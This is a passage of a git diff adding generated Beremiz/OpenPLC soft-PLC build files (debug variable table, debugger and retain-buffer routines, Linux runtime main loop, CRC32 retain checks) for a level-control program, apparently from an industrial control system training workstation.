+{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != 